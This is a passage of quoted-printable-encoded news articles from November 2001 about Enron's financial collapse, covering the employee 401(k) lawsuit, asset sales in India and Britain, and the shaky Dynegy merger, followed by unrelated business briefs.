t Income Security Act, alleges that Enron encouraged the employees to inves=
 Lacey.=20
Enron (ENE) shares have plunged more than 90% over the past several months =
after the departure of the energy company's chief executive and an accounti=
ng controversy that eventually caused it to restate its earnings since 1997=
, eliminating more than $580 million of reported income.=20
 as positive, especially when the company's stock began to slide, said Mr. =
Berman, who is hoping to get the suit certified as a class-action case.=20
Mr. Berman wants to prove that the 401(k) plan executives failed to act res=
ponsibly when they knew about serious business problems. He's also hoping t=
o break new legal ground with his case.=20
The lawsuit is patterned after a case against Lucent Technologies Inc. (LU)=
 in which Lucent employees sued their employer this summer for matching the=
ir 401(k) contributions with company stock that later tanked. That case is =
still in litigation.=20
Earlier this year 54-year-old Mr. Rinard had $472,000 in his 401(k) plan, w=
hich had been growing for 21 years. Today, the plan is worth about $40,000.=
 Enron gives its employees their 401(k) match in company stock.=20
are.=20
The problem was compounded when many employees, including Mr. Rinard, saw E=
nron's stock doing so well that they decided to put their entire account in=
to Enron stock.=20
=20
Another troubling feature of the Enron 401(k) plan was that employees weren=
't allowed to make trades for about a month. The lockdown began Oct. 17, th=
e day after Enron surprised the market by saying it was taking a $1.01 bill=
ion after-tax third-quarter charge to get out of bad investments.=20
Enron officials, who couldn't be reached, have said they had planned the lo=
ckdown for several months because it was changing plan administrators.=20

Enron's Japan subsidiary reviewing its business

TOKYO (AP) - The Japanese subsidiary of Enron Corp., the beleaguered U.S. e=
nergy trading company, is reviewing its business here and hopes to conclude=
 its findings in the next few weeks, a company spokeswoman said Thursday.=
=20
Earlier this month, rival Dynegy Inc. said it plans to acquire Enron. Enron=
 has begun an assessment of its global operations.
Enron Japan Corp., a wholly owned subsidiary of the Houston-based company, =
began its own assessment about a week ago, said spokeswoman Mika Watanabe.=
=20
Enron Japan's business includes E Power Corp., a venture set up in Japan by=
 Enron and Orix Corp., a leasing company, which had been studying possible =
electric power plants.=20
Shares of Enron plummeted another 28 percent Wednesday even though it reach=
ed a critical agreement to extend a $690 million debt payment.=20
Analysts continued to question, however, whether Dynegy's planned $8.9 bill=
ion acquisition of its larger rival Enron will survive, particularly as som=
e traders are limiting business with Enron because they don't know if more =
negative revelations are coming.=20
 following the departure of the company's chief executive and an accounting=
 controversy that eventually caused it to restate its earnings since 1997, =
eliminating more than $580 million of reported income.=20
Its latest round of woes started Monday, after Enron filed a document with =
the Securities and Exchange Commission saying it would have to repay $690 m=
illion in debt by Nov. 26 because of decreased credit ratings.=20
Enron Japan was established in April 2000 and employs about 60 people, and =
had hoped to eventually break into Japan's power industry, which is gradual=
ly growing more open.

Major Enron Unit Stake May Be Sold For Under $700M-Source

NEW DELHI -(Dow Jones)- The foreign-owned 85% stake in India's $2.9 billion=
 Dabhol Power Co. may be sold for under $700 million, a senior Indian gover=
nment source told Dow Jones Newswires Thursday.=20
"The two prospective buyers for Dabhol's foreign equity, BSES Ltd. (P.BSX) =
and Tata Power Co. (P.TPW) have currently suggested a price which is below =
$500 million. During the final purchase negotiations, their take-it-or-leav=
e-it offer may go up to as high as around $700 million," said the official.
U.S. energy company Enron Corp. (ENE) owns a controlling 65% stake in the 2=
,184-megawatt Dabhol power project, located in the western Indian state of =
Maharashtra.=20
Enron wants to sell its stake because of payment defaults by its sole custo=
mer - the Maharashtra State Electricity Board - and the Indian federal gove=
rnment's failure to honor payment guarantees. In August, the U.S. company s=
aid it was willing to sell its stake at cost. MSEB owns 15%, while General =
Electric Co. (GE) and Bechtel (X.BTL) own 10% each in Dabhol Power.=20
Tata and BSES were expected to complete their due diligence on the Dabhol p=
roject by end January 2002 at the latest. After the due diligence is comple=
ted, price negotiations will start and thereafter, the transfer of shares a=
nd transfer of ownership will take place, said the official.=20
He said India's state-owned utility National Thermal Power Corp. (P.NTP) wa=
s keeping a close eye on DPC's negotiations with BSES and Tata and there wa=
s a possibility that at some stage it may quote its price to buy a stake in=
 Dabhol.=20
"NTPC might join the race at some stage. They have the financial resources =
and the core competence in the power sector. There's a possibility that NTP=
C may make its price offer just about the time the final price negotiations=
 of BSES and Tata with Dabhol Power Co. start," said the official.=20
-By Himendra Kumar, Dow Jones Newswires; 91-11-461-9426; himendra.kumar@dow=
jones.com

JAPAN: Shock waves from Enron crisis felt in Japan.

TOKYO, Nov 22 (Reuters) - The shock waves from the crisis at Enron Corp are=
 being felt in Japan, where the stressed energy group has about 60 billion =
yen ($486.9 million) of bonds outstanding, money market dealers said on Thu=
rsday.=20
Dealers said most of Enron's yen-denominated bonds are believed to be held =
by Japanese investors.
In the U.S. bond market, Enron's 6.4 percent dollar-denominated notes matur=
ing in 2006 were selling at a deep discount of 62 cents on the dollar on We=
dnesday.=20
The price of Enron's yen bonds are also under pressure, but because the Jap=
anese market is far less liquid than the U.S. market it is virtually imposs=
ible to quote a price.=20
"Even if you want to sell them, there's no one is out there to buy," said a=
 market source, who declined to be identified.=20
Some investors holding Enron's bonds put on brave face.=20
"Enron's core business is still doing fairly good. And we have bonds due ne=
xt May. So we have concluded that there won't be grave concerns for its red=
emption," said Yasushi Inoue, manager at UFJ Partners Asset Management.=20
Some in the market are concerned, however, that some money management funds=
 (MMFs) have Enron bonds in their portfolio.=20
MMFs, seen as an alternative to bank deposits, generally invest in safe ass=
ets in order to secure stable fixed income.=20
But because the Bank of Japan has been guiding short-term rates to near zer=
o since last March, some funds are allocating money to riskier bonds, or co=
mmercial paper, to raise returns.=20
Five MMFs run by four asset management companies hold Enron bonds totaling =
about 38.5 billion yen nominal value.=20
DEFAULT WORRY=20
Should Enron default on the yen bonds, the price of those MMFs would fall b=
elow their purchase price, meaning some funds would be unable to fully pay =
back the money entrusted to them.=20
Although MMFs technically do not guarantee principle, they are widely regar=
ded be almost as safe as deposits.=20
"If the MMF prices fall below purchase price, investors may lose confidence=
 in MMFs, which could trigger an exodus of funds out of MMFs," said the mar=
ket source.=20
That would force fund managers of MMFs to sell a large part of assets in th=
eir funds, which could in turn push up short-term interest rates.=20
"I could not rule out such possibility," said the source.=20
Separately on Thursday, Enron said it was reviewing operations in Japan, in=
cluding an option to sell the business to a third party.=20
"Enron Corp is reviewing its operations in Japan ... considering every poss=
ibility including retaining the operations or selling a part of it," a spok=
eswoman in Tokyo said.=20
The company will likely finalise its plans within five or six weeks, she sa=
id.=20
Enron gained its first foothold in Japan in 1999, when it established affil=
iate E Power Corp, hoping to benefit from Japan's deregulation of the retai=
l power market.=20
In April last year, it set up Enron Japan Corp, which has so far introduced=
 electricity trading and marketing and other financial instruments. The com=
pany has 70 employees in Japan.=20
Shares of Enron closed down 28.33 percent at $5.01 on the New York Stock Ex=
change on Wednesday. ($1=3D123.22 yen).

Enron's Wessex Water unit faces possible bid from institutions - report

LONDON (AFX) - At least four financial institutions are circling Wessex Wat=
er PLC as possible bidders for the south-west of England water company that=
 Enron, the struggling US energy group, needs to sell, according to the Fin=
ancial Times.=20
The newspaper did not name its source, but said Royal Bank of Scotland PLC,=
 Candover Investments, WestLB and Barclays Capital are understood to have e=
xpressed an interest in buying Wessex, which provides water and sewage serv=
ices to 2.4 mln people.
Nomura, the Japanese investment bank, has previously expressed an interest =
in Wessex.=20
Enron, which bought Wessex in 1998 for 1.36 bln stg revealed on Monday that=
 it must repay 6.35 bln stg of debt by the end of next year.=20
The newspaper said a purchase is likely to be complicated.=20
Enron -- subject of a 9 bln usd bid from Dynegy, its smaller US energy riva=
l -- could be faced with a charge of 650 mln usd if the combined value of A=
zurix, which controls its water interests, falls to 1.95 bln usd or 25 pct =
below its book value, the newspaper said. ml/rn For more information and to=
 contact AFX: www.afxnews.com and www.afxpress.com

Asia Energy Watch:PlattsDirect To Launch In Rough Waters
By Jeremy Bowden

A DOW JONES NEWSWIRES COLUMN=20

SINGAPORE -(Dow Jones)- Credit concerns at Enron Online and repeated delays=
 to the launch of eNymex have dramatically altered the outlook for online e=
nergy trading over recent months.
The big-oil backed Internet site, Intercontinental Exchange, or ICE, has so=
 far been the main beneficiary of its competitors' problems, with recent tr=
ade volumes jumping sharply. But its growing hegemony may soon be challenge=
d by a very different online trading system, run by Platts, a unit of publi=
sher McGraw-Hill Cos. (MHP).=20
Aware of sensitivity to its role in oil markets from within the industry, P=
latts is approaching electronic trading with a very different business mode=
l from existing commission-based sites.=20
Platts sources say its new system, dubbed PlattsDirect, is designed - initi=
ally at least - as a "communication device" to enhance its existing role of=
 assessing and publishing benchmark energy prices. Its current telephone-ba=
sed systems, they say, can't cope with rising liquidity, all of which must =
be factored in when making its price assessments.=20
They hope PlattsDirect will develop as a "master exchange," providing a "ne=
utral base" for other exchanges to feed pricing information, in order to co=
mpliment Platts leading role as price benchmark assessor and publisher.=20
PlattsDirect is more likely to charge a subscription fee than commissions, =
sources said, although a final decision has yet to be made. Unlike some oth=
er systems, PlattsDirect will offer no clearing or counterparty service.=20
While a launch date hasn't been fixed, Platts hopes PlattsDirect will be up=
 and running in early 2002. Nymex by contrast, is without a launch date for=
 its eNymex Internet system, which has suffered repeated delays since its o=
riginal launch date of October 2000.=20
Is Nymex Leaving It Too Late?=20

Some oil traders suggest Nymex has "missed the boat" in its efforts to deve=
lop electronic trading, bogged down by its desire to keep local floor trade=
rs happy.=20
In September, Nymex President J. Robert Collins said the launch of eNymex h=
ad been delayed by factors including the bankruptcy of one of the system's =
developers, Globalview Software Inc., according to industry publications Oi=
l and Gas Journal and Petroleum Intelligence Weekly.=20
But several months later, Globalview continues to be alive and well, despit=
e legal action taken against it by Nymex, and has posted a 25% increase in =
sales so far this year. A senior Globalview official said his company is co=
untersuing, without providing further details.=20
ICE invited Nymex to join it last year, but Nymex rejected the offer, prefe=
rring to focus on its own electronic system. In June, ICE acquired London's=
 International Petroleum Exchange, which plans to scrap floor trading and a=
dopt electronic trading for all its products.=20
Enron Corp.'s (ENE) Enron Online faces even more serious problems than Nyme=
x. Oil trading sources say it has seen a sharp reduction in trade volume ov=
er recent weeks as counterparties grow increasingly wary over the company's=
 financial position. The system Enron designed to reduce credit risk - wher=
e Enron itself acts as a counterparty to every online trade - appears to ha=
ve backfired.=20
Even if the system is successfully transferred to Dynegy Inc. (DYN) - which=
 has agreed to take over Enron, pending legal objections - trading sources =
say counterparties are likely to be wary of placing so much risk with a sin=
gle company again, leaving the Enron Online trading model at a disadvantage=
.=20
They added that unless the Dynegy takeover is quick, Enron Online liquidity=
 could dry up completely. Enron itself has warned that reduced trading acti=
vity will hit fourth-quarter earnings.=20
Platts' Independence, Physical Trade Advantageous=20

While it doesn't appear keen to compete with other systems head-on initiall=
y, PlattsDirect has several advantages which could persuade traders to use =
its system. A possible absence of commissions is of concern to Singapore br=
okers and probably other online sites too.=20
Platts sources claim the site's independence and resulting objectivity is a=
lso a major advantage over other sites. But the concern for Platts is that =
that very independence also means it has no guaranteed support from within =
the trading community.=20
ICE, by contrast, was developed and is owned by a selection of companies in=
volved in the trading of oil, including oil majors BP PLC (BP), Total Fina =
Elf SA (TOT) and Royal Dutch/Shell Group (RD), and enjoys IPE support.=20
PlattsDirect is also able to offer physical trade - unique so far among on-=
line energy trading sites. Some traders say Platts' existing role as a publ=
isher of benchmark oil price assessments - particularly in Asia - is bound =
to attract trade to the new system.=20
"Some companies will want to trade on PlattsDirect because prices from the =
system will be used when assessing benchmarks," said one trader. The majori=
ty of physical oil trade is priced against benchmarks rather than on a spot=
 basis, and most over-the-counter derivative products are also settled agai=
nst Platts' benchmark assessments - including Nymex Brent and many on ICE.=
=20
Platts claims physical and derivative products worth US$10 billion are trad=
ed against its benchmark quotes everyday, and this makes influencing those =
quotes a priority for traders.=20
Platts also plans to use the prices of oil derivative trades from PlattsDir=
ect to improve the accuracy of its daily assessments of forward prices.=20
However, Platts must be careful. It not only faces wariness from existing i=
ndustry-driven sites, it can't afford to undermine the independence of its =
parent company, credit rating agency Standard & Poor's, a unit of McGraw-Hi=
ll.=20
Part of the loss of faith in Enron's creditworthiness came as Moody's and S=
tandard & Poor's downgraded Enron's credit rating to Baa3 and BBB, respecti=
vely - just above junk bond status. However justified the downgrade, Standa=
rd & Poor's can't be seen to gain competitive advantage for a unit through =
a change in a client's credit assessment.=20
ICE is also considering the introduction of physical trade, and could event=
ually publish competing benchmark assessments. But without an existing pres=
ence in the energy benchmark publishing business, ICE would face an uphill =
struggle. And its owners' involvement in trading could also be seen as comp=
romising its objectivity when assessing benchmarks, say trading sources.=20
-By Jeremy Bowden, Dow Jones Newswires; 65-415-4062; Jeremy.bowden@dowjones=
.com

Enron stock free-fall continues
By KRISTEN HAYS

HOUSTON (AP) - Shares of embattled Enron Corp. continued their rapid declin=
e as analysts and investors expressed more doubt that the once-mighty energ=
y trader could recover lost business and investor confidence.=20
Analysts are questioning whether Dynegy Inc.'s planned dlrs 8.9 billion acq=
uisition of Enron will survive.
Enron shares fell 23 percent Tuesday, then slid another 28 percent Wednesda=
y, to close down dlrs 1.98 at dlrs 5.01 on the New York Stock Exchange.=20
Shares of Dynegy fell dlrs 1.94 to dlrs 39.76 on the NYSE.=20
In a report issued Wednesday morning, Goldman Sachs & Co. analyst David Fle=
ischer became the latest to question Enron's future, saying a Securities an=
d Exchange Commission filing by the Houston-based company earlier this week=
 "raised new issues about liquidity and the ability of the company to even =
finance itself over the next several months."=20
Documents that Enron filed with the SEC late Monday restated the company's =
third-quarter earnings and said the company may have to repay a dlrs 690 mi=
llion debt by next week because of its decreased credit ratings.=20
Fleischer said Enron's Nov. 16 cash balance of dlrs 1.2 billion is inadequa=
te to meet remaining debt obligations.=20
Fleischer acknowledged, however, Enron's efforts to renegotiate next week's=
 due date for the dlrs 690 million debt. He said there were indications tha=
t Enron's banks may be willing to restructure the debt.=20
Michelle Foss, director of the Energy Institute at the University of Housto=
n, said this latest round of troubles had to raise concerns about whether t=
he Dynegy-Enron deal will be pulled off.=20
"It doesn't look like it's going to be able to happen," Foss said. "It did =
look like a decent idea when they proposed the merger, but today I'm sure t=
hey'll look at it and see if they can salvage their attempt to buy Enron."=
=20
Representatives of Enron and Dynegy did not immediately return telephone ca=
lls for comment Wednesday.=20
Enron agreed to be bought after its stock price plunged about 80 percent in=
 the weeks after disclosing a dlrs 1.2 billion reduction in shareholder equ=
ity related to partnerships run by company officers. The arrangements allow=
ed Enron to keep about half a billion dollars in debt off its books.=20
Those partnerships are being investigated by the SEC.=20
Earlier this month, Enron said it overstated earnings from 1997 through the=
 first half of 2001 by dlrs 586 million and revised its debt upward by dlrs=
 628 million.=20
---=20
Enron: http://www.enron.com=20
Dynegy: http://www.dynegy.com

Business
Enron seeks to stave off collapse
Chris Ayres in New York

The Times of London=20
News International=20
Final 4
30
(Copyright Times Newspapers Ltd, 2001)=20

DIRECTORS of Enron, the US energy group with close ties to President Bush, =
will spend today's Thanksgiving holiday locked in emergency negotiations to=
 save the company from collapse, after a 44 per cent plunge in its share pr=
ice over two days.=20
Investors were increasingly worried last night that rival Dynegy's $8.9 bil=
lion (Pounds 6 billion) all-stock rescue bid will fall apart over the holid=
ay period. As part of the deal, ChevronTexaco, which owns a quarter of Dyne=
gy, will inject $1.5 billion of emergency funding into Enron.
Enron, which has admitted to huge accounting errors amid a Securities and E=
xchange Commission inquiry, said on Monday that it could be forced to pay b=
ack $690 million of debt because of its deteriorating creditworthiness. In =
a crucial concession, that payment was yesterday delayed to mid-December. I=
t will have to pay another $9.1 billion by the end of 2002.=20
Enron is being investigated by the SEC for allegedly making complex investm=
ent deals that kept billions of dollars of debt off the company's books.

Enron may have to sell stake in Dabhol plant at half price

Press Trust of India Limited=20
(c) 2001 PTI Ltd.=20

Washington, Nov 22 (PTI) Embattled US power major Enron may be forced to se=
ll its stake in the Dabhol power plant at around half a billion dollars ins=
tead of the asking price of a billion dollars, a report here said.=20
Tata Power and BSES, the Indian bidders for Enron's stake in the 2184 MW Dh=
abol power plant were reportedly willing to pay only half of the asking pri=
ce which stood over a billion dollars, the New York Times reported.
If the lenders and prospective buyers adopt a take it or leave it line, Enr=
on may have little choice but to accept their offer and swallow a huge loss=
 on a controversial project which one gleamed with promise, it said.=20
"It is bound to be a distress sale," one banker told the paper.=20
Though Enron's chairman and chief executive Kenneth L Lay was earlier quote=
d as saying that India would have to face economic sanctions if the governm=
ent did not create a favourable climate for the sale of Enron's stake, the =
paper said "Enron now will find little lobbying traction in either Washingt=
on or New Delhi".=20
"The coalition-building diplomacy of the war in Afghanistan makes it unlike=
ly that the Bush administration would agree to press India on Enron's behal=
f," the paper said.=20
(THROUGH ASIA PULSE) 22-11 2001

Business
Enron joins list of bookkeeping rogues
AP FILE PHOTO

The Toronto Star=20
Ontario
C15
Copyright (c) 2001 The Toronto Star=20

IT'S BEEN FOREVER long since a juicy accounting scandal hit the business pr=
ess, so a big hearty thanks to Enron Corp. of Houston for making up for los=
t time.=20
Who knew that the largest energy company in the United States - one of the =
biggest in the world, in fact - would suddenly be keeping company with such=
 disgraceful accounting debacles as Waste Management Inc., the garbage-haul=
ing company that overstated earnings by $1.43 billion (U.S.), Safety-Kleen =
Corp. ($534 million), Sunbeam Corp., Cendant Corp., and, lest we forget, Bo=
ston Chicken Inc., which made a tasty bucket-of-cluck but kept losses off i=
ts balance sheet until it went bankrupt and shareholders were wiped out.
Back to Enron. In the past decade and a half, the company, under the leader=
ship of Kenneth Lay, was remade from an uninspiring regional pipeline calle=
d Houston Natural Gas into what Lay called an "energy store" branded with a=
 jazzy name. Enron and its CEO drew much laudatory press for virtually crea=
ting wholesale markets for electricity and natural gas just when deregulati=
on allowed for open market competition. Moving into online energy trading w=
as inspired - the company laid claim to being the world's largest e-commerc=
e concern. One-stop shopping for all your energy needs! Revenues were enorm=
ous. Profits nudged $1 billion. Its place in the business firmament was sec=
ured when the Houston Astros' quarter-billion-dollar retractable roof ballp=
ark was named Enron Field.=20
Now we know that the transformation was more magical than anyone imagined.=
=20
The first clue was the company's announcement that it was restating earning=
s going back four years plus a few quarters. Call it five years. Now that j=
ust might be a record.=20
It's never good news when a company says it will be rethinking its profit n=
umbers. They never seem to go up as a result. Sure enough, in the case of E=
nron approximately $590 million was erased from the earnings line starting =
in '97, when the company should have netted $96 million less than it previo=
usly claimed, through to last year, in which it should have taken a $132 mi=
llion haircut to its earnings.=20
For Enron, it has been a long, if swift, fall for a firm once voted by Fort=
une magazine as more innovative than either Intel Corp. or Microsoft Corp. =
The Securities and Exchange Commission is investigating. The stock once tra=
ded at $80. It closed yesterday at $5.01 on the New York Stock Exchange.=20
This week, a former accountant with the SEC pronounced that the Enron disas=
ter, added to the accounting messes that have gone before, make for investo=
r losses to rival the savings and loan fiasco. The company's debt rating is=
 barely investment grade and its survival strategy - delivering itself to a=
 takeover by the much smaller Dynegy Inc. - is in jeopardy. In a securities=
 filing Monday, Enron said that a ratings downgrade will force it to meet a=
 debt obligation of $690 million before month's end, an obligation that it =
may not be able to meet. Yesterday the company said it had bought some brea=
thing room on that debt, to mid-December. Any more "ratings events," that i=
s, another downgrade, will cause the company to "repay, refinance or cash c=
ollateralize" another $3.9 billion. Short story: the company's unravelling.=
=20
Did it have to come to this? Judging from the off-balance sheet shenanigans=
 at the company, the answer to that question is a clear yes. We need only c=
onsider the moment in 1999 when Enron's board endorsed a move by none other=
 than its own chief financial officer to head up a couple of wholly-owned s=
ubsidiaries that would do business with the principal company. The results =
of the subsidiaries would not be consolidated on Enron's balance sheet. A s=
prinkling of insiders constituted the review and approval team that would o=
versee the transactions.=20
Andrew Fastow was the lucky CFO. Lucky is an apt description, as Enron has =
now disclosed that Fastow earned more than $30 million from a host of manag=
ement and investment activities through both the subsidiaries and related p=
artnerships called JEDI and Chewco. (Yes, they were named in honour of the =
Star Wars movies.)=20
Enron always had a reputation for being fast and entrepreneurial. Investors=
 just never knew how fast and entrepreneurial the company was. Fastow was p=
ushed out the door three weeks ago. The company's treasurer and its general=
 counsel were fired. Both had participated in a limited partnership that ha=
d purchased interests in affiliated subsidiaries of the Fastow subsidiaries=
. It's as simple as that.=20
Some of the Fastow transactions, involving investments in power projects fr=
om Poland to Brazil or call options on gas turbines, are as clear as mud. O=
thers are more transparent. Example: in December, 1999, Enron sold an equit=
y investment in Enron Nigeria Barge Ltd., providing "seller financing" to t=
he purchasing investment bank. Seven months later, LJM2, one of the Fastow-=
managed subsidiaries, purchased the investment and assumed the seller-finan=
ced note from Enron. When LJM2 subsequently sold the investment it repaid t=
he Enron note and pocketed a $700,000 profit.=20
There are plenty of conflict of interest examples. Plus numerous losses tha=
t should have accrued to Enron as a result of the subsidiaries' activities,=
 losses that the company thought it would rather not recognize.=20
Chastened, Enron has established a special committee to study all such tran=
sactions. It won't help investor confidence that the investigation may iden=
tify even more bad news. It's doubtful that the proposed merger with Dynegy=
 can take place any more.=20
JP Morgan Chase and Salomon Smith Barney, which have acted as advisers to E=
nron on the merger, have financed $1 billion in loan assistance to help the=
 company through the critical period ahead. An analyst at Goldman Sachs cal=
led it "another win for the bank/broker model." Here's a different way to l=
ook at it: Morgan and Citigroup, Salomon's parent, share a wide range of ex=
posures within the Enron empire and are desperate to see the deal done.=20
If the merger fails, Enron will have to pay a $297.5 million breakup fee to=
 Dynegy and a further $52.5 to ChevronTexaco Corp., which has 26 per cent o=
f Dynegy.=20
Investors can't see a win anywhere in the story. Their stock is in the base=
ment. Multiple class-action suits have been launched, citing fraud, materia=
l misrepresentation, breach of duty of disclosure, unjust enrichment. A sep=
arate lawsuit aims to enjoin the merger.=20
And what of Enron's auditors? On Monday, Michigan Democratic Representative=
 John Dingell called for an investigation into Arthur Andersen LLP for the =
work it did for both the energy company and, years ago, for Waste Managemen=
t. (In July, without admitting or denying any fraud allegations in the Wast=
e Management affair, the Big Five accounting firm paid a $7 million fine to=
 the SEC.)=20
The Public Oversight Board, which oversees the accounting profession in the=
 United States, now says that any scrutiny of Andersen's work is a job for =
the SEC. The numbers mess will predictably spur more criticism of the role =
of the auditor and an examination of how impartial any auditor can hope to =
be when it's being paid both for accounting work and for consulting service=
s, as Andersen was. Did Andersen ever argue for more conservative accountin=
g? Or how about this: how is it that all these "special purpose entities" -=
 JEDI, etc. - were kept off the balance sheet when they did not qualify for=
 non-consolidation treatment? Isn't the auditor supposed to know that?=20
For the moment, Kenneth Lay is wearing the most laundry. It was on Lay's wa=
tch that the web of off-balance sheet business was established. The Missour=
i-born son of a Baptist minister retired in February, then stepped back int=
o the job in August when his replacement announced he was leaving for perso=
nal reasons, something to do with a new marriage and a big house being buil=
t. "There's nothing to disclose," said Jeffrey Skilling on his way out the =
door. "The company's in great shape."=20
The company is in dreadful shape. The news gets worse with every passing mi=
nute.

AP FILE PHOTO WINNING SMILES: Federal Reserve Board chairman Alan Greenspan=
, left, accepts a public service prize from Enron CEO Kenneth Lay last week=
 in Houston.=20

Enron tops up US$1B credit line: Secures US$450-million: Skepticism high fi=
rm can last long enough for Dynegy merger
C. Bryson Hull
Reuters

National
FP10

HOUSTON - Enron Corp. said yesterday it secured the remaining US$450-millio=
n of a new US$1-billion credit line, but the news did little to reassure in=
vestors it can stay afloat long enough to complete its merger with rival Dy=
negy Inc.=20
Shares of the Houston-based energy giant were off 26%, despite the announce=
ment in which Enron also said it had pushed back the deadline for repaying =
a US$690-million debt to mid-December from a deadline of next Tuesday.
Enron's shares fell 23% on Tuesday after it raised credit concerns in a fil=
ing with the Securities and Exchange Commission.=20
"The Dynegy deal will take a long time and a lot of things could happen ove=
r that time period," said Michael Barbis, a Fulcrum Global Partners analyst=
. "Dynegy did their homework, but if they missed anything, they have a numb=
er of exit opportunities."=20
In yesterday's statement, Enron said it is in feverish talks with its other=
 lenders to restructure its debt obligations and reaffirmed its commitment =
to the Dynegy deal, tagged at US$9-billion in stock.=20
"We continue to believe that this merger is in the best interests of our sh=
areholders, employees, and lenders," said Ken Lay, Enron's chairman and chi=
ef executive.=20
Enron was the most actively traded issue on the New York Stock Exchange for=
 the second day in a row.=20
Chuck Watson, Dynegy's chairman and chief executive, said he is encouraged =
by the new US$450-million loan and the debt extension for the US$690-millio=
n.=20
"We are continuing our confirmatory due diligence and working to accelerate=
 the regulatory approvals required to complete the merger in accordance wit=
h the previously announced agreement," he said.=20
Mr. Watson said ChevronTexaco Corp., which owns 26% of Dynegy, reiterated i=
ts "full confidence in Dynegy's disciplined management approach to complete=
 the merger and to build a new company into an industry leader."=20
Privately, analysts were calling the odds of a successful merger lower in t=
he wake of new negative news made in a U.S. Securities and Exchange filing.=
 Most analysts called the chances of success even, whereas most had called =
the odds of success at 60% to 70% earlier.=20
Wall Street analysts said Enron is losing market share because of credit co=
ncerns by its trading partners and questions over Dynegy's takeover offer.=
=20
"Enron is definitely losing market share on credit concerns. Cash needs to =
run the business have now increased. The market perceives Enron as needing =
more cash," said Mr. Barbis.=20
Goldman Sachs & Co. downgraded Enron and Dynegy to "market perform" on Tues=
day, and took both off its recommended list. It said the cash infusion from=
 Dynegy -- US$1.5-billion -- "appears inadequate to restore the confidence =
of Enron customers."=20
The bad news in Monday's filing with the SEC included the acceleration of t=
he US$690-million debt because of a credit downgrade on Nov. 12, a new redu=
ction in third-quarter earnings, word that Enron has only about US$1.5-bill=
ion cash on hand after new infusions of US$5.5-billion over the past few we=
eks and an admission that trading volumes had dropped.=20
The trading business, Enron's crown jewel and the part most coveted by Dyne=
gy, relies on volume for profitability, and Enron said it was possible the =
lower volumes would hamper fourth-quarter earnings.=20
Its trading partners, now more publicly than before, on Tuesday said they w=
ere treading carefully.=20
"We've been scaling back for some time, but we're still dealing with Enron.=
 Everyday, our credit people are watching," said Al Butkus, a vice-presiden=
t with Kansas City-based Utilicorp United.=20
Cinergy, a Cincinnati-based energy firm, said through a spokesman that it c=
ontinued to trade with Enron but was keeping a close eye on its health.=20
An indicator of Enron's shape was the fact its bonds are being quoted by pr=
ice, like junk bonds, rather than how much extra yield they carry over U.S.=
 Treasuries, like investment-grade bonds.

City - Enron moves.

The Daily Telegraph=20
P39
(c) Telegraph Group Limited, London, 2001=20

DYNEGY, the energy company, said it was continuing due diligence for its pr=
oposed merger with Enron. Enron earlier had been granted an extension until=
 mid-December of a $690m ( #490m) debt payment that had been due next week.

Business
Enron crisis deepens, bankruptcy looms The crisis of confidence ...

The Star-Ledger Newark, NJ=20
FINAL
084
(c) 2001. The Star-Ledger. All rights reserved.=20

Enron crisis deepens, bankruptcy looms The crisis of confidence ravaging ca=
sh-strapped Enron Corp. deepened yesterday amid mounting concerns that a pr=
oposed rescue by rival Dynegy Inc. could fall through, threatening the ener=
gy trading giant with bankruptcy. While the Houston-based energy giant said=
 it secured the remaining $450 million of a new $1 billion credit line and =
pushed back the deadline for repaying a $690 million debt, its shares fell =
a further 28 percent, after falling 23 percent Tuesday.=20
Enron's shares fell $1.98, or 28 percent, to close at $5.01. It was the mos=
t actively traded issue on the New York Stock Exchange for the second day i=
n a row. FDA moves on sepsis The government approved a drug that could save=
 tens of thousands of lives a year from sepsis - the first treatment to dir=
ectly attack these overwhelming bloodstream infections.
Doctors call Xigris a breakthrough, and Eli Lilly & Co. pledged to ship the=
 medicine to hospital intensive-care units within days.=20
The Food and Drug Administration approved Xigris as a treatment for the mos=
t severe sepsis patients, those deemed least likely to survive. When given =
to such people, the drug can cut the chances of death by 13 percent. Jobles=
s claims down For four weeks in a row, fewer Americans filed new claims for=
 state unemployment benefits, suggesting the steep increase in layoffs afte=
r the terrorist attacks may be abating.=20
However, economists warn that the country is still in for a period of risin=
g unemployment.=20
The Labor Department reported for the work week ending Nov. 17, new jobless=
 claims dipped by a seasonally adjusted 15,000 to 427,000. That followed a =
drop of 10,000, according to revised figures, an even bigger decline than t=
he government previously estimated. Too many coins A surplus of coins, perh=
aps compounded by Americans emptying their change jars in the softening eco=
nomy, has prompted the U.S. Mint to begin layoffs.=20
Instead of 23 billion new pennies, nickels, dimes and quarters next year, m=
int officials now believe they'll need only 15 billion. The mint already ha=
d made too many coins during the past year. The mint has begun laying off 3=
57 workers nationwide, including major coin-production plants in Philadelph=
ia and Denver.=20
Cuban deal In the first such deals in 40 years, several food companies, inc=
luding Archer Daniels Midland Co. and Cargill Inc., have agreed to sell Cub=
a grains and soybeans. The move was prompted by the recent devastation caus=
ed by Hurricane Michelle.=20
A joint venture of ADM and Kansas City, Mo.-based Farmland Industries Inc. =
will sell hard, red winter wheat to Cuba, ADM Vice President Larry Cunningh=
am said.=20
Minneapolis-based Cargill will sell corn, wheat and soybean oil, while Stut=
tgart, Ark.-based Riceland Foods Inc., which donated rice to Cuba last year=
, will be selling rice to Cuba for the first time since an embargo was impo=
sed.=20
The shipments are expected to begin arriving early next year. Health insura=
nce merger Maryland insurance regulators expect to spend as long as a year =
evaluating the proposed $1.3 billion purchase of CareFirst BlueCross BlueSh=
ield by California-based WellPoint Health Networks Inc., the state's insura=
nce commissioner said.=20
Microsoft loses lawyer Microsoft's bow tie-wearing top lawyer, who lost the=
 company's landmark antitrust case against the Justice Department, but help=
ed the company escape a government-ordered breakup and other tough penaltie=
s, will retire in June. William Neukom, executive vice president of law and=
 corporate affairs, announced he will leave Microsoft to concentrate on phi=
lanthropy and to spend more time with his grown children. Neukom started wo=
rking with the company when it was little more than a dozen employees in 19=
79, while a partner at the Seattle-area law firm of the father of Microsoft=
 Chairman Bill Gates. He joined the company full time in 1985.=20
Brad Smith, Neukom's deputy, will succeed Neukom as a senior vice president=
 and general counsel. Credit card payments stable Americans kept up payment=
s on their credit card bills in September, despite a deteriorating jobs mar=
ket and the Sept. 11 hijacked airplane attacks, bond rating service Standar=
d & Poor's said.=20
But Americans' ability to meet their debt obligations will likely be pinche=
d in the coming months as more workers lose their jobs in a sluggish econom=
y, S&P warned.=20
Earnings news Department store chain Dillard's Inc. posted a wider-than-exp=
ected third-quarter loss as declining consumer confidence after the Sept. 1=
1 attacks stunted sales.=20
The Little Rock, Ark.-based retailer, an operator of more than 340 stores i=
